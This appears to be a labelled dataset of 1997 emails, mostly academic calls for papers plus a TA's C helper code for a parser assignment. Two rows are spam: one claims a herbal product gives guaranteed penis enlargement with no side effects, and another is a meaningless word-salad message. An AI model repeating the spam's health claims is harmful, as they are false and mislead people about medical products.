submissions," CALL FOR SUBMISSIONS European Joint Conferences on Theory and Practice of Software E T A P S 98 Lisbon, Portugal March 30 - April 3, 1998 http://www.di.fc.ul.pt/~llf/etaps98/ The European Joint Conferences on Theory and Practice of Software (ETAPS) is a new annual meeting covering a wide range of topics in Software Science which will take place in Europe each spring in the slot currently occupied by CAAP/ESOP/CC and TAPSOFT. ETAPS is a loose and open confederation of existing and new conferences and other events which aims to become the primary European forum for academic and industrial researchers working on topics relating to Software Science. Five main conferences and four satellite events have been programmed for the 1998 edition of ETAPS. See the call for papers below for the complete list. ETAPS will also include an ""Advanced Seminar"", consisting of a wide spectrum of talks by invited speakers, which will take place in plenary sessions. The invited speakers for 1998 are: Kent Beck, First Class Software Inc., USA Randy Bryant, Carnegie Mellon University, USA Margaret Burnett, Oregon State University, USA Cliff Jones, Harlequin Ltd, UK Michael Mislove, Tulane University, USA Amir Pnueli, Weizmann Institute, Israel Gert Smolka, University of Saarbruecken, Germany A call for system demos and tutorials is now open as well (see below). CALL FOR PAPERS The call for papers is now open for the five main conferences of ETAPS'98, with a submission deadline of October 6, 1997. See the ETAPS web page (http://www.di.fc.ul.pt/~llf/etaps98/) for more details about the scope and submission instructions of each individual conference. Prospective authors who have no access to WWW should use the e-mail address given for each conference to obtain further information. Foundations of Software Science and Computation Structures (FoSSaCS) ------------------------------------------------------------ The scope of FoSSaCS is syntactic, algebraic, logical and semantic methods for describing, analysing, transforming and verifying programs and systems. The focus is on foundational aspects of such methods rather than on their applications. Topics include: computational and syntactic foundations of Software Science, including basic objects in computation processes, techniques for their manipulation, and their algebraic and logical properties; transition systems and models of concurrency, including calculi, semantics, logics and algorithmic aspects; data structures and types, including algebraic specification, polymorphism, and regular and relational algebras; domain theory and denotational (fixed- point) semantics, including ordered structures, topological domains, domain equations, computable reals and semantics of numerical computations. Programme Committee: M. Nivat (France, chair), A. Arnold (France, vice-chair), W. Thomas (Germany, vice-chair), V. Bruyere (Belgium), Z. Esik (Hungary), J. Gabarro (Spain), N. Klarlund (USA), F. Mignosi (Italy), P. Mosses (Denmark), D. Niwinski (Poland), C. Palamidessi (Italy), A. Podelski (Germany), J. Rutten (Netherlands), H. Seidl (Germany), A. Sernadas (Portugal), C. Stirling (UK) E-mail address: Maurice.Nivat@litp.ibp.fr Fundamental Approaches to Software Engineering (FASE) ----------------------------------------------------- To enhance software quality, the software production process requires rigorous methods, firmly grounded on scientifically justified techniques. Fundamental approaches are sought, possibly integrating so-called formal and informal aspects, providing the bridge between theory and practice and aimed at producing engineering methods and tools for the various phases of software development. FASE is intended to provide a forum where fundamental approaches are presented, compared and discussed. Contributions are especially welcome on the following topics: methods for the production of provably correct software, its verification and evolution; formal methods and combination of formalisms; integration of informal and formal methods; tools and environments supporting rigorous approaches; case studies of applications of formal and semiformal methods; reports evaluating industrial experiences; rigorous experimental studies of effectiveness and applicability of formal methods; concepts and models for software specification, development, verification and evolution; foundations and frameworks of conceptual models; formal approaches for real- time, concurrent, distributed and object-oriented systems; specification, design and verification of hybrid systems. Programme Committee: E. Astesiano (Italy, chair), M. Bidoit (France), Z. Chao Chen (Macau), D. Craigen (Canada), H. Ehrig (Germany), C. Ghezzi (Italy), H. Hussmann (Germany), C. Jones (UK), T. Maibaum (UK), F. Orejas (Spain), G. Renardel de Lavalette (Netherlands), D. Smith (USA), J. Wing (USA), M. Wirsing (Germany) E-mail address: fase98@disi.unige.it European Symposium On Programming (ESOP) ---------------------------------------- This conference is devoted to fundamental issues concerning programming languages and systems. Approaches to the specification, analysis and implementation of languages and systems are the main concern; papers should emphasise the soundness and correctness of the approach. Contributions which bridge the gap between theory and practice are particularly welcome. Topics traditionally covered by ESOP include: programming paradigms and their integration (including functional, logic, concurrent and object-oriented); semantics facilitating the formal development and implementation of programming languages and systems; advanced type systems (including polymorphism and subtyping); program analysis (including abstract interpretation and constraint systems); program transformation (including partial evaluation and term rewriting); practical algorithms based on theoretical developments. Programme Committee: C. Hankin (UK, chair), J. de Bakker (Netherlands), L. Cardelli (USA), A. Deutsch (France), R. Giegerich (Germany), R. Glueck (Denmark), R. Gorrieri (Italy), P. Hartel (UK), P. Lee (USA), H.R. Nielson (Denmark), M. Odersky (Germany), A. Pettorossi (Italy), A. Porto (Portugal), D. Sands (Sweden), D. Schmidt (USA) E-mail address: clh@doc.ic.ac.uk International Conference on Compiler Construction (CC) ------------------------------------------------------ CC is a forum for presentation and discussion of recent developments in language processors and language design, with an emphasis on practical methods and tools. Topics include, but are not restricted to: compilation techniques including parsing, type checking, code generation, and code optimisation; interpretation; language-oriented editing; high- level debugging; integrated programming environments; processing of imperative, object-oriented, concurrent, functional, and logic programming languages; compilation for non-standard architectures; processing of query languages, command languages, and application languages; interaction between language design and implementation. Programme Committee: K. Koskimies (Finland, chair), M. Bartha (Canada), J. Bishop (South Africa), P. Fritzson (Sweden), R. Gupta (USA), T. Gyimothy (Hungary), N. Horspool (Canada), S. Jahnichen (Germany), U. Kastens (Germany), B. Magnusson (Sweden), K. McKinley (USA), G. Riedewald (Germany), W. Waite (USA), D. Watt (UK), R. Wilhelm (Germany) E-mail address: koskimie@cs.uta.fi Tools and Algorithms for the Construction and Analysis of Systems (TACAS) ------------------------------------------------------------ Many similar tools and algorithms have been independently developed in various areas of computer science like automata and language theory, verification and synthesis of hardware and software systems, construction and analysis of real time systems, software engineering, type and proof theory, logic and algebra. TACAS is a ""community-independent"" forum for discussion between the researchers and developers interested in tools. In the focus are basic principles and application- independent features of algorithms and their implementation, with the aim to increase the reliability, flexibility and efficiency of current tools by highlighting common problems, heuristics, data structures, and solutions. In particular, theoretical papers with a clear link to tool construction and tool descriptions and applications with conceptual message are encouraged. As TACAS addresses quite a heterogeneous audience, one of the major selection criteria for papers and tool demonstrations is a widely accessible presentation on a conceptual rather than technical level. This requires authors to think about their techniques in a wider context, which we believe is the key to a wider dissemination of more and more professional tools. Moreover it establishes a significant difference between TACAS contributions and typical publications in the various specialized communities, where a large common basis can be assumed. Regular papers and refereed tool presentations are equally treated: accepted contributions will receive the same space in the conference schedule and in the proceedings. In addition, there will be informal tool demonstrations during the breaks. The topics of the workshop include: Compositional verification and construction techniques; Refinement-based methodologies; Heterogeneous analysis; Theorem-proving and model checking; Analytical techniques for real-time, hybrid, probabilistic, and safety-critical systems; Tool environments and tool architectures; Applications and case studies Programme Committee: B. Steffen (Germany, chair), E. Brinksma (Netherlands), R. Cleaveland (USA), F. Giunchiglia (Italy), S. Graf (France), T. Henzinger (USA), D. Jackson (USA), K. Jensen (Denmark), K. Larsen (Denmark), T. Margaria (Germany), J. Palsberg (Denmark), D. Peled (USA), S. Smolka (USA), F. Vaandrager (Netherlands) E-mail address: tacas98@fmi.uni-passau.de For all the above conferences, submitted papers must be unpublished and not submitted for publication elsewhere. In particular, simultaneous submission of the same contribution to multiple ETAPS conferences is forbidden. The final paper will be no more than 15 pages in the Springer- Verlag format for Lecture Notes in Computer Science (the series in which the proceedings will be published); see the back cover of a recent volume for details. Submissions need not adhere to that format, but those that are clearly too long may be rejected immediately. E-mail addresses and fax numbers of the authors should also be included. The deadline for submissions is OCTOBER 6, 1997. Authors will be notified of the decision by December 8. Final versions will be due before January 12, 1998. SATELLITE EVENTS Besides the five main conferences, four satellite events have been programmed for the 1998 edition of ETAPS. See the ETAPS web page (http://www.di.fc.ul.pt/~llf/etaps98/) for a more detailed description and the submission instructions of each individual event. Prospective authors who have no access to WWW should use the e-mail address given for each event. International workshop on Advanced Communication Services (ACoS) ------------------------------------------------------------- Communication networks ranging from classical telephony to intelligent networks and to the internet are going more and more commercial and conquer unexpected aspects of everyone's life. Their new, challenging, and extremely broad role as communication service channels leads to increasingly strong requirements: users expect greater flexibility, more features and yet simpler handling of the new media, of course in combination with extremely high availability, reliability, and security standards, e.g. for round-the-clock on-line banking. The rapid evolution of this market requires faster turn-around times in the definition of value-added services and of their underlying communication solutions. In particular, recent research studies and field trials show that successful uses of communication products will increasingly depend on their personalisation capabilities. This workshop aims at bringing together representatives of the involved parties, spanning several fields of both industry and academia, in order to address the ambitious expectations which, we are convinced, are far beyond the reach of state-of-the-art industrial methods. Organisers: R. Rueckert (Telemedia/Bertelsmann) and B. Steffen (Passau) E-mail address: acos98@fmi.uni-passau.de Workshop on Visualization Issues for Formal Methods (VISUAL) --------------------------------------------------------------- Formal Methods are increasingly needed in industrial practice. The great challenge for the future is to fully integrate the use of formal methods into the development process. Development engineers are unlikely to adopt the mathematical notations underlying formal methods; accordingly, formal methods must be presented and encapsulated in an application-oriented fashion in order to be easily understood and applied by their users. Visualization and user-friendly interfaces are key issues for this. This one-day workshop intends to bring together people from industry and academia to discuss ongoing work in the field with particular focus on the transfer of research results into practical solutions. Conversely, needs arising in concrete application contexts shall be presented to provide feedback to the research arena. The workshop intends to provide a forum for critical discussion for people who are interested in the various technical aspects of formal methods and visualization. Organisers: T. Margaria (Passau) and J. Posegga (Deutsche Telekom) E-mail address: visual98@fmi.uni-passau.de Workshop on Coalgebraic Methods in Computer Science --------------------------------------------------- State-based dynamical systems as found throughout computing science are traditionally described as transition systems or certain kinds of automata. During the last decade, it has become increasingly clear that such systems can be captured uniformly as so-called ""coalgebras"" (which are the formal dual of algebras). Coalgebra is beginning to develop into a field of its own, with its own proof methods (involving bisimulations and invariants). This workshop will be devoted both to an introduction to basic coalgebraic notions and techniques, and also to some recent advances in the theory of coalgebras. We are looking for participants and contributed talks to this informal workshop on both the theory and the use of coalgebras in computer science. Depending on the reactions, the workshop will consist of one or two days; publication of proceedings of the workshop will be considered. Organisers: B. Jacobs (Nijmegen), H. Reichel (Dresden) and J. Rutten (CWI, Amsterdam) E-mail address: janr@cwi.nl Workshop on Algebraic Development Techniques (WADT) --------------------------------------------------- The algebraic approach to system specification and development, born as a formal method for abstract data types, encompasses today the formal design of integrated hardware and software systems, new specification frameworks and programming paradigms (such as object oriented, logic and higher-order functional programming) and a wide range of application areas (including information systems, concurrent and distributed systems). This workshop, the 13th in its kind, will provide an opportunity to meet colleagues, to present recent and ongoing work and to discuss new ideas and future trends. Organiser: J. Fiadeiro (Lisbon) E-mail address: wadt98@di.fc.ul.pt CALL FOR DEMOS Demonstrations of tools related to specific topics within the scope of ETAPS and presenting advances on the state of the art are invited. Such tool demonstrations should not be confused with contributions to TACAS, where the emphasis is on application-independent aspects of tools. Tool demonstrations will be presented in devoted conference sessions with projection facilities. Authors of accepted demos will be asked to contribute a short paper to the proceedings of one of the ETAPS main conferences. Submissions should take the form of a description of the tool, of no more than 4 pages in the Springer-Verlag LNCS format, which makes clear its relevance to a specified main conference of ETAPS. At least one screen snapshot should be provided to allow the selection committee to get some impression of the quality of the user interface. A specification of the hardware and software requirements for installing and demonstrating the tool must be provided. Screen snapshots and the hardware/software specification are not included in the page limit unless they constitute part of the description of the tool. Submissions should be sent, preferably electronically (plain text or uuencoded gzipped PostScript), to: Don Sannella ETAPS'98 Laboratory for Foundations of Computer Science University of Edinburgh Edinburgh EH9 3JZ Scotland E-mail: etaps98-demo@dcs.ed.ac.uk The submission deadline is October 6, 1997. CALL FOR TUTORIALS Proposals for half-day or full-day tutorials related to topics within the scope of ETAPS are also invited. Tutorial proposals will be evaluated on the basis of their estimated benefit for prospective participants and on their fit within ETAPS as a whole. Submissions should be in the form of a proposal, no longer than 10 pages, for review purposes. It should include a description of the material that will be covered in the course; a justification of the relevance of the tutorial for ETAPS; a brief history of the tutorial, if it has been given previously; duration (half day or full day) and scope (survey or in-depth) of the course; the key learning objectives for the participants (what specific knowledge each participant is expected to obtain); the intended audience of the tutorial (their specialties and experience level, plus any prior knowledge they will be assumed to have); the background of each instructor. Submissions should be sent, preferably electronically (plain text or uuencoded gzipped PostScript), to: J. Fiadeiro Department of Informatics Faculty of Sciences University of Lisbon Campo Grande 1700 Lisboa Portugal E-mail: tutorials@di.fc.ul.pt The submission deadline is October 6, 1997. THE VENUE ETAPS'98 will be held in Lisbon, Portugal. The chosen venue is the Gulbenkian Foundation, situated in the middle of landscaped gardens, next to a museum with Calouste Gulbenkian's private art collection, a modern art museum, a library, a concert hall and galleries with art exhibitions. In 1998, Lisbon will also host the celebrations of the 5th centenary of Vasco da Gama's arrival in India. A world exhibition (EXPO'98) will be held on the theme ""The oceans: a heritage for the future"". Although the official starting date of the exhibition is in May, several cultural events have been programmed for the months before. ETAPS participants can be assured of a busy scientific and cultural week! SPONSORSHIP ETAPS'98 is being sponsored by PORTUGAL TELECOM and TAP - AIR PORTUGAL. The support of The University of Lisbon, The European Association for Programming Languages and Systems and The European Association for Theoretical Computer Science is also gratefully acknowledged. The European Symposium On Programming (ESOP) and the International Conference on Compiler Construction (CC) are being organised in cooperation with ACM SIGPLAN. STEERING COMMITTEE D. Sannella (Edinburgh, Chairman), J. Fiadeiro (Lisbon, Organiser of ETAPS'98), A. Arnold (Bordeaux), E. Astesiano (Genova), E. Brinksma (Enschede), P. Degano (Pisa), H. Ehrig (Berlin), M-C. Gaudel (Paris), T. Gyimothy (Szeged), C. Hankin (London), U. Kastens (Paderborn), P. Klint (Amsterdam), K. Koskimies (Tampere), T. Maibaum (London), H. Riis Nielson (Aarhus), F. Orejas (Barcelona), B. Steffen (Passau), W. Thomas (Kiel) JOSE LUIZ FIADEIRO Department of Informatics Faculty of Sciences - University of Lisbon Campo Grande 1700 Lisboa PORTUGAL tel: 351-1-7500123 fax: 351-1-7500084 http://www.di.fc.ul.pt/~llf ",0,1 Marion Gallagher ,lawrence@orion.sas.upenn.edu,"Sat, 27 Sep 1997 07:32:27 +0400",Hey,"-Sensattional revolution in medicine! -Enlarge your penis up to 10 cm or up to 4 inches! -It's herbal solution what hasn't side effect, but has 100% guaranted results! -Don't lose your chance and but know wihtout doubts, you will be i`mpressed with results! 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Sponsors include the National Science Foundation, the National Security Agency, Oakland University, the Oakland University Foundation, and others still pending. Anyone interested in further information should send name, institution, e-mail address, and current estimated probability of attending, to the organizers by e-mail or snail-mail. Conference e-mail address: calca@oakland.edu Conference home page on the World Wide Web: http://www.oakland.edu/~calca Organizing Committee Ian Goulden (University of Waterloo) Jerrold Grossman (Oakland University), Local Arrangements Chair (248) 370-3443 grossman@oakland.edu Philip Hanlon (University of Michigan) Devadatta Kulkarni (Oakland University), Director (248) 370-4032 kulkarni@oakland.edu Marc Lipman (Oakland University) James McKay (Oakland University) Conference on Algebraic Combinatorics and Applications Department of Mathematical Sciences Oakland University Rochester, MI 48309-4485 22 September 1997 ",0,1 Robert Desimone ,THEORYNT@LISTSERV.NODAK.EDU,"Mon, 29 Sep 1997 11:18:30 -0700",CfP Concur98,"[Apologies for multiple copies] Preliminary Call for Papers CONCUR'98 9th International Conference on Concurrency Theory Nice, France, September 8-11, 1998 Important dates ~~~~~~~~~ Paper submissions: March 10, 1998 Notifications: May 8, 1998 Final versions: June 10, 1998. CONCUR 98: Purpose and Scope ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The purpose of the CONCUR conferences is to bring together researchers, developers and students in order to advance the theory of concurrency, and promote its applications. Interest in this topic is continuously growing, as a consequence of the importance and ubiquity of concurrent systems and applications, and of the scientific relevance of their foundations. The scope of CONCUR'98 covers all areas of semantics, logics and verification techniques for concurrent systems. A list of specific topics includes (but is not limited to) concurrency related issues about models of computation and semantic domains, process algebras, Petri nets, event structures, real-time systems, hybrid systems, decidability, model-checking, verification techniques, refinement techniques, term and graph rewriting, distributed programming, logic constraint programming, object-oriented programming, typing systems and algorithms, applications, case studies, tools and environments for programming and verification. Submissions: ~~~~~~~~~~~~~ Submissions consist of a 100-200 word ASCII abstract and a 15 page summary. Electronic submissions in PostScript(tm) are strongly encouraged. Program Committee ~~~~~~~~~~~~~~~~~~~ M. Abadi (Digital,Systems Research Center) A. Asperti (University of Bologna) J. Bradfield (University of Edinburgh) E. Clarke (Carnegie Mellon University) R. de Simone (INRIA Sophia-Antipolis, co-chair) J. Esparza (Technische Universitat Munchen) P. Gastin (University of Paris 7) R. van Glabbeek (Stanford University) G. Gonthier (INRIA Rocquencourt) M. Hennessy (Sussex University) O. Maler (Verimag Grenoble) F. Moller (Uppsala University) U. Montanari (University of Pisa) M. Mukund (SMI Madras) M. Nielsen (University of Aarhus) P. Panangaden (Mc Gill University) J. Parrow (Royal Institute of Technology, Stockholm) A. Rensink (University of Hildesheim) D. Sangiorgi (INRIA Sophia-Antipolis, co-chair) C. Talcott (Stanford University) J. Winkowski (Polish Academy of Sciences) Steering Committee ~~~~~~~~~~~~~~~~~~ The Steering Committee of CONCUR is composed of Jos Baeten (chair, Eindhoven), Eike Best (Hildesheim), Kim Larsen (Aalborg), Ugo Montanari (Pisa), Scott Smolka (Stony Brook) and Pierre Wolper (Liege). Proceedings ~~~~~~~~~~~~ The proceedings will be published by Springer-Verlag in the LNCS series. Venue and local arrangements ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Nice is ideally located on the French Riviera. September is still bathing season, while less crowded as full summer. Nice's international airport is well-connected to all major european and non-european cities. The Organizing Committee of CONCUR 98 is composed of Amar Bouali, Gerard Boudol, Ilaria Castellani, Silvano Dalzilio and Massimo Merro. An effort will be made to have reasonably low conference fee and accommodation expenses. For further information, check URL , or mailto: concur98@sophia.inria.fr.",0,1 Kassandra Bonham ,"suresh@robotics.stanford.edu, lilly@robotics.stanford.edu, nannie@robotics.stanford.edu, brandy@robotics.stanford.edu, sarah@robotics.stanford.edu","Tue, 30 Sep 1997 08:38:39 -0500",is your mental energy becoming bad,"not rush ! autonomy some traversable or vindictive try cultivable ",1,0 Wei LIU ,"kwek, march","Tue, 30 Sep 1997 13:50:36 -0400",instrustuin to getT(new!),"For those who wish to use our getTok() and ungetTok() in assignment 3 ---------------------------------------------------------------------- 1. How to include? step1: Download the file getToken2.c from ECMP337 webpage hyperlink ""Assignment 3: getTok() and ungetTok() "". Move this file to your source file directory. Forget your getToken in assignment 2 scanner.c. step2: At the beginning of your parser source file include section, insert the following line: #include step3: At the beginning of your parser source file(main problem), insert the following line(to initialize global variables): /* set the transition table */ setTransitionTable(); /* set the lookup map between states and token types */ setStateTokenTypeMap(); 2. How to call? When your parser wants to ""unget"" a token, call our ungetTok(); When your parser wants to get a token, call our getTok(); The prototype of these two functions are: extern void getTok(FILE *pf, tokenRecord *pToken); pf is the file pointer of the input file. pToken is the pointer to the token variable that is being returned. When getTok finishes, *pToken points to the current token. extern void ungetTok(FILE *pf,tokenRecord *pToken); pf is the file pointer of the input file. pToken is the pointer to the token which you want to unget. When ungetTok finishes, *pToken is the token that will be returned by the next getToken() call. We suggest you use these functions as follows: /* recommended usage of our getTok() and ungetTok(0 in assignment 3 */ /* variable declarations */ tokenRecord token; FILE *pf; ...... /* other variable declarations */ /* open file */ pf=fopen(fstrFilename, ""r""); ...... /* other process of your parser */ /* now the parser wants to get a token, call our getTok; */ getTok(pf, &token); ...... /* other process of your parser */ /* the parser wants to ""unget"" a token, call our ungetTok; */ ungetTok(pf, &token); ...... /* other process of your parser */ For those who wish to use use their own getToken() of assignment2 ----------------------------------------------------------------- 0. If the prototype of your getToken follows the following one: tokenRecord getToken(FILE *pf); /* pf means the file pointer to the input file, * the function returns the current token in the file. */ goto step 1 else goto step 6 1. insert the following lines in the include section of your parser source code /************************************************************************ * include files ************************************************************************/ #include 2. insert the following lines in the marco & type definition section of your parser source code /************************************************************************ * marco & type definition ************************************************************************/ typedef enum { GET, PUT } Action; /* Bool type definition */ typedef int Bool; #define TRUE 1 #define FALSE 0 3. insert the following lines in the function declarations section of your parser source code: /********************************************************************* * Function declarations *********************************************************************/ /* Functions can be used in assignment3: getTok(); ungetTok() */ extern void getTok(FILE *pf, tokenRecord *pToken); extern void ungetTok(FILE *pf,tokenRecord *pToken); extern tokenRecord originalGetTok(FILE *pf); /* get the next token in the file specified by FILE pointer pf */ extern void copy_token(tokenRecord *newtok, tokenRecord *oldtok); extern void manageToken(FILE *pf,Action action,tokenRecord *pToken); 4. insert the following lines in the function implementation section of your parser source code: /************************************************************************* * Function implemantation *************************************************************************/ void copy_token(tokenRecord *newtok, tokenRecord *oldtok) { newtok->tokenval=oldtok->tokenval; if ( oldtok->tokenval==ID || oldtok->tokenval==ERROR ) newtok->attribute.stringval=(char *)strdup(oldtok->attribute.stringval); else if(oldtok->tokenval==NUM) newtok->attribute.numval=oldtok->attribute.numval; return; } void manageToken(FILE *pf,Action action,tokenRecord *pToken) { static tokenRecord tokenStored; static Bool bStoredTokenReady=FALSE; /* the function only accept parameter action of PUT or GET */ assert( ( PUT==action )||( GET==action ) ); if( PUT==action ) { /* put the token into the buffer */ /* when there is a token ready in the buffer, the caller shouldn't put */ assert( FALSE==bStoredTokenReady ); /* copy the content to buffer */ copy_token(&tokenStored, pToken); /* set the buffer flag to show that there is a token ready in the buffer now */ bStoredTokenReady=TRUE; } else { /* get the token from the buffer or the file */ if( bStoredTokenReady ) { /* get the token from the buffer */ copy_token(pToken, &tokenStored); /* since we have aten the stored token in the buffer, * set the buffer flag to show that there is NO token ready in the buffer now, * and release the memory(applicable for ID and ERROR) */ bStoredTokenReady=FALSE; if ( ( ID==tokenStored.tokenval ) ||( ERROR==tokenStored.tokenval ) ) free(tokenStored.attribute.stringval); } else { /* get the token from the file */ tokenStored=originalGetTok(pf); copy_token(pToken, &tokenStored); } } return; } void getTok(FILE *pf, tokenRecord *pToken) /* not originalGetTok() !!!!!!!!!!!!!!!!!!!!! ***************************************/ { manageToken(pf, GET, pToken); return; } void ungetTok(FILE *pf,tokenRecord *pToken) { manageToken(pf, PUT, pToken); return; } 5. match your function with ours by writing the originalGetTok() function by yourself: If the prototype of your getToken follows the following one: tokenRecord getToken(FILE *pf); /* pf means the file pointer to the input file, * the function returns the current token in the file. */ Just write this in your program to bridge yours and ours: tokenRecord originalGetTok(FILE *pf); { return(getToken(pf)); /* call your getToken! */ } 6. If your prototype is a different one, we suggest you not to use our getTok() and ungetTok() in assignment3(if you really wish to use your own getToken() of assignment2). It would be troublesome to modify our functions to match yours, or vice versa. We are not able to provide functions for every kind of getToken() provider. We hereby provide the main idea of unget: use token buffer and a flag; initialize the flag as unreadable. then steps to get the current token: if the flag is readable copy token from the buffer rather than the file. set the flag as unreadable. free the memory of the buffer(applicable to ID or illegal token) else (the flag is unreadable) use your getToken to get a token from the file copy it to the buffer set the flag as readable. steps to unget the current token: copy it to the buffer set the flag as readable. Anyway, you may be hinted if you read though our codes listed in step1-5. Good Luck! PS: if you have any question regarding these programs, please send email to the TAs and cc it to the instructor.",0,0 YMOBAREK@CCTR.UMKC.EDU,Multiple recipients of list ,"Mon, 06 Oct 1997 18:29:01 -0400",Call for papers ISSEI (HAIFA),"ISSEI The International Society for the Study of European Ideas Sixth International Conference University of Haifa, Israel August 16-21, 1998 Contributions are invited for a workshop on THE QUESTION OF TRUTH IN TWENTIETH-CENTURY FRENCH NARRATIVES Tout sujet liant la question de la verite a celle du recit au XXe siecle sera considere: Verite et fiction (Litterature et Philosophie), verite du sujet et ses differentes theories (Litterature et Psychanalyse), la verite et ses re- presentations dans les arts (litterature et Peinture, Sculpture, films ...), la verite et ses techniques de persuasion (Litterature et Rhetorique), la verite a travers le mythe, la verite et ses manifestations (les grands manifestes litteraires) etc.... ""The workshop will include a maximum of 12 participants. Papers are to be presented rather than read. The length of time is about 15 to 20 minutes. Papers should not exceed 3000 words, or 10 double spaced pages with notes in order to be considered for possible publication in the Proceedings. A one page abstract accompanied by a resume should reach the Chair as early as possible for early consideration. Completed papers in French or in English should arrive by March 1998. Please contact workshop Chair: Yasmina Mobarek (UMKC) Dept. of For. Langs. & Lits. 5100 Rockhill Rd - 204 Scofield Hall Kansas City, MO. 64110-2499. Fax # (816) 235-1312 E-mail address: ymobarek@cctr.umkc.edu Thank you in advance for your contributions. Y.M. ",0,0 Jean-Marie Volet ,Multiple recipients of list ,"Mon, 06 Oct 1997 18:58:31 -0400",Mots Pluriels: Appel d'articles,"Chères Collègues, Chers Collègues, Le Journal électronique ""Mots Pluriels"" vous invite à contribuer à son numéro ""Le troisième espace : une exploration des identités interraciales"", prévu pour 1998. Plus de renseignements concernant ce numéro dirigé par Dr. Maureen Perkins figurent ci-dessous. ""Mots Pluriels"" accepte des contributions en français et en anglais. Envoi de manuscrits pour ce numéro: dès maintenant et au plus tard pour la première semaine de mai 1998 à l'adresse suivante: . Cordialement votre jmv * 'The Third Space': cross-cultural and multi-racial identities * A special edition of MOTS PLURIELS, to be published in 1998, invites contributions on the subject of inter-racial, multi-racial, multi-ethnic, or cross-cultural identities. Just as the binary gender division, man and woman, may be complicated by a range of border-crossing identities, so the fundamental binary race division (us and them, white and black) is challenged by the complexity of inter-racial combination. Does such multiplicity weaken the possibility of challenges to dominant discourses of power? Or does it rather expose 'the limits of any claim to a singular or autonomous sign of difference - be it class, gender, or race'. The author of this last suggestion, Homi Bhabha, describes a 'third space', which holds 'assignations of social differences - where difference is neither One nor the Other but something else besides'. The multiple and problematic terminology by which 'third space' identities may be designated is itself an indication of rapidly shifting meanings in this area. We look forward to hearing from those for whom such cross-border experience is a source of reflection and insight. _____________________________________________________________________ Short articles (2,500-3000 words) written in English or in French and original works of creative fiction (no more than 4 to 5 pages) can be sent to the guest editor of this issue: Dr Maureen Perkins Department of History University of Western Australia Nedlands, Australia 6907 or via email to mperkins@arts.uwa.edu.au The deadline for submission is the first week of May 1998. _____________________________________________________________________ MOTS PLURIELS is a refereed electronic and international journal open to those wishing to share their point of view on important contemporary world issues. Manuscripts are reviewed by expert readers and publication is dependent on their approval. Themes for past issues have been: Time HIV/AIDS Racism Civil wars and violence. MOTS PLURIELS can be found at http:/www.arts.uwa.edu.au/MotsPluriels/MP.html Jean-Marie Volet The University of Western Australia Department of French Studies Nedlands 6907 Western Australia Fax: (+61 8) 9380-1182 Tel: (+61 8) 9380-2174 / 2177 Editor of Mots Pluriels http://www.arts.uwa.edu.au/MotsPluriels/MP497index.html",0,1 Ondrej Sykora ,THEORYNT@LISTSERV.NODAK.EDU,"Tue, 07 Oct 1997 00:49:45 -0700",cfp for WG'98 - full screen text," Call for Papers 24rd International Workshop on Graph-Theoretic Concepts in Computer Science (WG '98) Smolenice-Castle (close to Bratislava), June 18 - 20, 1998 The International Workshop on Graph-Theoretic Concepts in Computer Science is one of the most traditional and high quality conferences in Computer Science. Previous conferences were organized at various places in Austria, Germany, Italy and in the Netherlands. For the first time in its history WG is going to take place in one of the former socialist countries in the Central Europe - Slovak Republic. The workshop aims at uniting theory and practice by demonstrating how graph-theoretic concepts can be applied to various areas in Computer science, or by extracting new problems from applications. The goal is to present recent research results and to identify and explore directions of future research. The workshop is well-balanced w.r.t. established researchers and young scientists. For many years now, the proceedings have been published in the LNCS series of Springer-Verlag. TOPICS ====== Papers are solicited describing original results on all aspects of graph-theoretic concepts in computer science, e.g. structural graph theory, sequential, parallel, and distributed graph and network algorithms and their complexity, graph grammars and graph rewriting systems, graph-based modeling, graph-drawing and layout, diagram methods, and support of these concepts by suitable implementations. Prospective authors are encouraged to send papers from various application areas like Internet, Web, ATM, mobile radio networks, data structures, data bases, programming languages, tools for software construction, communications, concurrency, computer architectures, VLSI, artificial intelligence, graphics, CAD, operations research, or pattern recognition. SUBMISSIONS =========== Submissions can be made by mail or electronically. By mail: -------- Authors are invited to submit 7 copies of a draft paper (approximately 10 pages) to: Juraj Hromkovic Lehrstuhl fuer Informatik I RWTH Aachen Ahornstrasse 55 52074 Aachen Germany Electronically: --------------- There is a possibility of electronic submissions, but the organizers decline any responsibility for possible errors and/or printing problems. Send an e-mail with the specified subject to: wg98@I1.Informatik.RWTH-Aachen.de Subject: SUBMISSION The body of this e-mail should contain the following data: author(s): title: contact-address: You will then automatically obtain information how to upload your Postscript file. The organizers will acknowledge successful prints. SOFTWARE DEMOS ============== Software demos in areas of interest for the workshop are solicited. To enroll for a software demo, send its title and a short abstract, specifying duration and possible special equipment needed, to the following address: wg98@I1.Informatik.RWTH-Aachen.de Subject: SOFTDEMO IMPORTANT DATES =============== Submission Deadline: March 1, 1998 Notification of Acceptance: May 1, 1998 Software demos: May 15, 1998 Proceedings version: August 1, 1998 PROGRAM COMMITTEE ================= H.Bodlaender, Utrecht (NL) A.Brandstaedt, Rostock (D) M.Habib, Montpellier (F) J.Hromkovic, Aachen (D-SK),co-chair L.Kirousis, Patras (GR) L.Kucera, Praha (CR) A.Marchetti-Spaccamela, Roma (I) E.Mayr, Munich (D) R.Moehring, Berlin (D) M.Nagl, Aachen (D) H.Noltemeier, Wuerzburg (D) F.Parisi Presicce, Roma (I) O.Sykora, Bratislava (SK),co-chair G.Tinhofer, Munich (D) D.Wagner, Konstanz (D) P.Widmayer, Zurich (CH) ORGANIZING COMMITTEE ==================== M.Becka J.Hromkovic O.Sykora R.Szelepcsenyi (secretary of conference) W.Unger M.Vajtersic I.Vrto CONTACT ADDRESS =============== Tel.: +421-7-3783193 (Silvia Gavorova) Fax: +421-7-375859 E-Mail: wg98@ifi.savba.sk Subject: INFO FURTHER INFORMATION =================== The WG'98 conference will take place at the Smolenice Castle, Slovakia. Further information (a picture of Smolenice Castle too) can be found at the URL: http://ifi.savba.sk/wg98. Smolenice Castle lies approximately 50 km to the north from Bratislava. Smolenice had been a Slavonic settlement from the 8 - 12th centuries. A large settlement from the Halstadt period (6-7th centuries B.C.) has been found at the Mount Molpir. The Smolenice Castle has been originated as a stronghold near the passes through the Small Carpathians. Only a ruin in the beginning of the 19th century, it was reconstructed by Count Palffy in this century. As a secessionist building, it was completed after the year 1945. The castle serves to the purposes of Slovak Academy of Sciences nowadays. Weather June weather in Smolenice is usually nice, with temperatures about 15-20 degrees centigrade. Visa No visa is required for citizens of most European countries. In case of doubt, information can be obtained from the Slovak embassy or consulate. Travel By car - Smolenice is 50 km to the north from Bratislava. From Bratislava take direction Jur, Pezinok, 